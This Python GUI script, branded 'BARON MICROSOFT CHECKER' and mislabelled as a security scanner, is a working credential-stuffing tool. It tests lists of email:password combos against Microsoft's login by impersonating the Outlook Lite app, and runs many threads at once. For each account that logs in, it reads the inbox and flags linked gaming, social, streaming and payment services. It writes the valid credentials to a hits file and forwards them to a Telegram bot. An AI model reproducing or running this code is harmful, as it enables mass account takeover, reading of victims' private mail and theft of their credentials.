#!/usr/bin/env python3

import tkinter as tk
from tkinter import ttk, filedialog, messagebox, scrolledtext
import requests
import json
import threading
import time
import os
import re
import uuid
import urllib.parse
from datetime import datetime
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor


class MicrosoftAuthCore:
    CLIENT_ID = "e9b154d0-7658-433b-bb25-6b8e0a8a7c59"
    REDIRECT_URI = "msauth://com.microsoft.outlooklite/fcg80qvoM1YMKJZibjBwQcDfOno%3D"
    SCOPE = "profile openid offline_access https://outlook.office.com/M365.Access"
    
    @staticmethod
    def get_ua():
        return f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/{uuid.uuid4()}"
    
    @staticmethod
    def auth(email, password):
        try:
            params = {
                "client_info": "1", "haschrome": "1", "login_hint": email, "mkt": "en",
                "response_type": "code", "client_id": MicrosoftAuthCore.CLIENT_ID,
                "scope": MicrosoftAuthCore.SCOPE, "redirect_uri": MicrosoftAuthCore.REDIRECT_URI
            }
            
            url = f"https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?{urllib.parse.urlencode(params)}"
            headers = {"User-Agent": MicrosoftAuthCore.get_ua(), "X-Requested-With": "com.microsoft.outlooklite"}
            
            r = requests.get(url, headers=headers, timeout=15)
            cookies = r.cookies.get_dict()
            
            ppft = re.search(r'name=\\"PPFT\\" id=\\"i0327\\" value=\\"([^"]+)\\"', r.text)
            post_url = re.search(r'"urlPost":"([^"]+)"', r.text)
            
            if not ppft or not post_url:
                return None
            
            payload = {
                "i13": "1", "login": email, "loginfmt": email, "type": "11",
                "LoginOptions": "1", "passwd": password, "PPFT": ppft.group(1),
                "PPSX": "PassportR", "i19": "9960"
            }
            
            headers['Content-Type'] = 'application/x-www-form-urlencoded'
            headers['Referer'] = r.url
            headers['Cookie'] = '; '.join([f"{k}={v}" for k, v in cookies.items()])
            
            login_r = requests.post(post_url.group(1).replace('\\/', '/'), data=payload, headers=headers, allow_redirects=False, timeout=15)
            login_cookies = login_r.cookies.get_dict()
            
            if any(k in login_cookies for k in ["JSH", "JSHP", "ANON", "WLSSC"]):
                location = login_r.headers.get('Location', '')
                if 'code=' in location:
                    code = location.split('code=')[1].split('&')[0]
                    
                    token_url = "https://login.microsoftonline.com/consumers/oauth2/v2.0/token"
                    token_data = {
                        "client_id": MicrosoftAuthCore.CLIENT_ID,
                        "redirect_uri": MicrosoftAuthCore.REDIRECT_URI,
                        "grant_type": "authorization_code",
                        "code": code,
                        "scope": MicrosoftAuthCore.SCOPE
                    }
                    
                    token_r = requests.post(token_url, data=token_data, timeout=10)
                    return token_r.json().get("access_token")
            
            return None
        except:
            return None
    
    @staticmethod
    def get_inbox(token, max_emails=50):
        try:
            url = f"https://outlook.office.com/api/v2.0/me/messages?$top={max_emails}&$select=Subject,From,Body"
            headers = {"Authorization": f"Bearer {token}", "User-Agent": MicrosoftAuthCore.get_ua()}
            
            r = requests.get(url, headers=headers, timeout=15)
            if r.status_code == 200:
                return [{'subject': i.get('Subject', ''), 'sender': i.get('From', {}).get('EmailAddress', {}).get('Address', ''), 
                        'body': i.get('Body', {}).get('Content', '')[:500]} for i in r.json().get('value', [])]
            return []
        except:
            return []


class ServiceScanner:
    SERVICES = {
        'Gaming': {
            'playstation': ['playstation', 'psn'], 'xbox': ['xbox'], 'steam': ['steam'],
            'epic': ['epic games'], 'nintendo': ['nintendo']
        },
        'Social': {
            'facebook': ['facebook'], 'instagram': ['instagram'], 'twitter': ['twitter', 'x.com'],
            'tiktok': ['tiktok'], 'linkedin': ['linkedin']
        },
        'Streaming': {
            'netflix': ['netflix'], 'spotify': ['spotify'], 'youtube': ['youtube premium'],
            'disney': ['disney'], 'hbo': ['hbo']
        },
        'Payment': {
            'paypal': ['paypal'], 'stripe': ['stripe'], 'venmo': ['venmo']
        }
    }
    
    @staticmethod
    def scan(emails):
        results = {}
        content = ' '.join([f"{e.get('subject', '')} {e.get('sender', '')}" for e in emails]).lower()
        
        for category, services in ServiceScanner.SERVICES.items():
            found = []
            for service, keywords in services.items():
                if any(kw in content for kw in keywords):
                    found.append(service)
            if found:
                results[category] = found
        
        return results


class HotmailScannerGUI:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("Microsoft Account Security Scanner")
        self.root.geometry("900x700")
        self.root.configure(bg='#1e1e1e')
        
        self.stats = {'total': 0, 'valid': 0, 'invalid': 0}
        self.running = False
        self.combos = []
        
        self.setup_ui()
    
    def setup_ui(self):
        style = ttk.Style()
        style.theme_use('clam')
        style.configure('TButton', background='#0078d4', foreground='white', font=('Segoe UI', 10, 'bold'), borderwidth=0)
        style.map('TButton', background=[('active', '#106ebe')])
        
        header = tk.Frame(self.root, bg='#0078d4', height=80)
        header.pack(fill='x')
        header.pack_propagate(False)
        
        tk.Label(header, text="BARON MICROSOFT CHECKER", 
                font=('Segoe UI', 20, 'bold'), bg='#0078d4', fg='white').pack(pady=20)
        
        main = tk.Frame(self.root, bg='#1e1e1e')
        main.pack(fill='both', expand=True, padx=20, pady=20)
        
        left = tk.Frame(main, bg='#2d2d2d', relief='raised', bd=2)
        left.pack(side='left', fill='both', expand=True, padx=(0, 10))
        
        tk.Label(left, text="⚙ CONFIGURATION", font=('Segoe UI', 12, 'bold'), bg='#2d2d2d', fg='white').pack(pady=10)
        
        file_frame = tk.Frame(left, bg='#2d2d2d')
        file_frame.pack(fill='x', padx=20, pady=5)
        
        tk.Label(file_frame, text="📁 Combo File:", bg='#2d2d2d', fg='white', font=('Segoe UI', 10)).pack(anchor='w')
        
        file_input_frame = tk.Frame(file_frame, bg='#2d2d2d')
        file_input_frame.pack(fill='x', pady=5)
        
        self.file_entry = tk.Entry(file_input_frame, bg='#3d3d3d', fg='white', font=('Segoe UI', 10), insertbackground='white')
        self.file_entry.pack(side='left', fill='x', expand=True)
        
        ttk.Button(file_input_frame, text="Browse", command=self.browse_file).pack(side='left', padx=(5, 0))
        
        telegram_frame = tk.Frame(left, bg='#2d2d2d')
        telegram_frame.pack(fill='x', padx=20, pady=5)
        
        tk.Label(telegram_frame, text="📱 Telegram Bot Token:", bg='#2d2d2d', fg='white', font=('Segoe UI', 10)).pack(anchor='w')
        self.token_entry = tk.Entry(telegram_frame, bg='#3d3d3d', fg='white', font=('Segoe UI', 10), insertbackground='white')
        self.token_entry.pack(fill='x', pady=5)
        
        tk.Label(telegram_frame, text="💬 Telegram Chat ID:", bg='#2d2d2d', fg='white', font=('Segoe UI', 10)).pack(anchor='w')
        self.chat_entry = tk.Entry(telegram_frame, bg='#3d3d3d', fg='white', font=('Segoe UI', 10), insertbackground='white')
        self.chat_entry.pack(fill='x', pady=5)
        
        thread_frame = tk.Frame(left, bg='#2d2d2d')
        thread_frame.pack(fill='x', padx=20, pady=5)
        
        tk.Label(thread_frame, text="⚡ Threads:", bg='#2d2d2d', fg='white', font=('Segoe UI', 10)).pack(anchor='w')
        self.thread_var = tk.IntVar(value=10)
        tk.Spinbox(thread_frame, from_=1, to=50, textvariable=self.thread_var, bg='#3d3d3d', fg='white', font=('Segoe UI', 10)).pack(fill='x', pady=5)
        
        btn_frame = tk.Frame(left, bg='#2d2d2d')
        btn_frame.pack(fill='x', padx=20, pady=20)
        
        self.start_btn = ttk.Button(btn_frame, text="▶ START SCAN", command=self.start_scan)
        self.start_btn.pack(fill='x', pady=5)
        
        self.stop_btn = ttk.Button(btn_frame, text="■ STOP", command=self.stop_scan, state='disabled')
        self.stop_btn.pack(fill='x', pady=5)
        
        stats_frame = tk.Frame(left, bg='#2d2d2d')
        stats_frame.pack(fill='x', padx=20, pady=10)
        
        tk.Label(stats_frame, text="📊 STATISTICS", font=('Segoe UI', 12, 'bold'), bg='#2d2d2d', fg='white').pack(pady=5)
        
        self.stats_labels = {}
        for stat in ['Total', 'Valid', 'Invalid']:
            frame = tk.Frame(stats_frame, bg='#3d3d3d', relief='raised', bd=1)
            frame.pack(fill='x', pady=3)
            
            tk.Label(frame, text=f"{stat}:", bg='#3d3d3d', fg='white', font=('Segoe UI', 9)).pack(side='left', padx=10)
            lbl = tk.Label(frame, text='0', bg='#3d3d3d', fg='#00ff00' if stat == 'Valid' else '#ff0000' if stat == 'Invalid' else 'white', 
                          font=('Segoe UI', 12, 'bold'))
            lbl.pack(side='right', padx=10)
            self.stats_labels[stat.lower()] = lbl
        
        right = tk.Frame(main, bg='#2d2d2d', relief='raised', bd=2)
        right.pack(side='right', fill='both', expand=True)
        
        tk.Label(right, text="📝 OUTPUT LOG", font=('Segoe UI', 12, 'bold'), bg='#2d2d2d', fg='white').pack(pady=10)
        
        self.output = scrolledtext.ScrolledText(right, bg='#1e1e1e', fg='#00ff00', font=('Consolas', 9), insertbackground='white')
        self.output.pack(fill='both', expand=True, padx=10, pady=(0, 10))
    
    def browse_file(self):
        file = filedialog.askopenfilename(title="Select Combo File", filetypes=[("Text files", "*.txt"), ("All files", "*.*")])
        if file:
            self.file_entry.delete(0, tk.END)
            self.file_entry.insert(0, file)
    
    def log(self, message, color='white'):
        self.output.insert(tk.END, message + '\n')
        self.output.see(tk.END)
        self.root.update()
    
    def update_stats(self):
        for key, label in self.stats_labels.items():
            label.config(text=str(self.stats[key]))
    
    def start_scan(self):
        file_path = self.file_entry.get().strip()
        
        if not file_path or not os.path.exists(file_path):
            messagebox.showerror("Error", "Please select a valid combo file!")
            return
        
        with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
            self.combos = [line.strip() for line in f if ':' in line]
        
        if not self.combos:
            messagebox.showerror("Error", "No valid combos found in file!")
            return
        
        self.running = True
        self.start_btn.config(state='disabled')
        self.stop_btn.config(state='normal')
        self.output.delete(1.0, tk.END)
        self.stats = {'total': 0, 'valid': 0, 'invalid': 0}
        self.update_stats()
        
        self.log(f"[*] Loaded {len(self.combos)} combos", 'cyan')
        self.log(f"[*] Starting scan with {self.thread_var.get()} threads...\n", 'cyan')
        
        threading.Thread(target=self.scan_worker, daemon=True).start()
    
    def stop_scan(self):
        self.running = False
        self.start_btn.config(state='normal')
        self.stop_btn.config(state='disabled')
        self.log("\n[!] Scan stopped by user", 'yellow')
    
    def scan_worker(self):
        threads = self.thread_var.get()
        telegram_token = self.token_entry.get().strip()
        telegram_chat = self.chat_entry.get().strip()
        
        Path('output/hits').mkdir(parents=True, exist_ok=True)
        
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = []
            for combo in self.combos:
                if not self.running:
                    break
                
                if ':' not in combo:
                    continue
                
                email, password = combo.split(':', 1)
                future = executor.submit(self.scan_account, email.strip(), password.strip(), telegram_token, telegram_chat)
                futures.append(future)
            
            for future in futures:
                if not self.running:
                    break
                try:
                    future.result()
                except:
                    pass
        
        self.start_btn.config(state='normal')
        self.stop_btn.config(state='disabled')
        self.log(f"\n[✓] Scan complete! Valid: {self.stats['valid']} | Invalid: {self.stats['invalid']}", 'green')
    
    def scan_account(self, email, password, telegram_token, telegram_chat):
        if not self.running:
            return
        
        try:
            token = MicrosoftAuthCore.auth(email, password)
            
            self.stats['total'] += 1
            
            if not token:
                self.stats['invalid'] += 1
                self.root.after(0, lambda: self.log(f"[-] Invalid: {email}", 'red'))
                self.root.after(0, self.update_stats)
                return
            
            self.stats['valid'] += 1
            self.root.after(0, lambda: self.log(f"[+] Valid: {email}", 'green'))
            
            emails = MicrosoftAuthCore.get_inbox(token)
            services = ServiceScanner.scan(emails)
            
            with open('output/hits/all_hits.txt', 'a', encoding='utf-8') as f:
                f.write(f"{email}:{password}\n")
            
            if services:
                self.root.after(0, lambda: self.log(f"    Services: {', '.join([f'{k}: {v}' for k, v in services.items()])}", 'cyan'))
                
                if telegram_token and telegram_chat:
                    msg = f"✅ HIT\n\n📧 {email}\n🔑 {password}\n\n"
                    for category, items in services.items():
                        msg += f"{category}: {', '.join(items)}\n"
                    
                    try:
                        requests.post(f"https://api.telegram.org/bot{telegram_token}/sendMessage",
                                    data={'chat_id': telegram_chat, 'text': msg}, timeout=5)
                    except:
                        pass
            
            self.root.after(0, self.update_stats)
            
        except Exception as e:
            pass
    
    def run(self):
        self.root.mainloop()


if __name__ == "__main__":
    app = HotmailScannerGUI()
    app.run()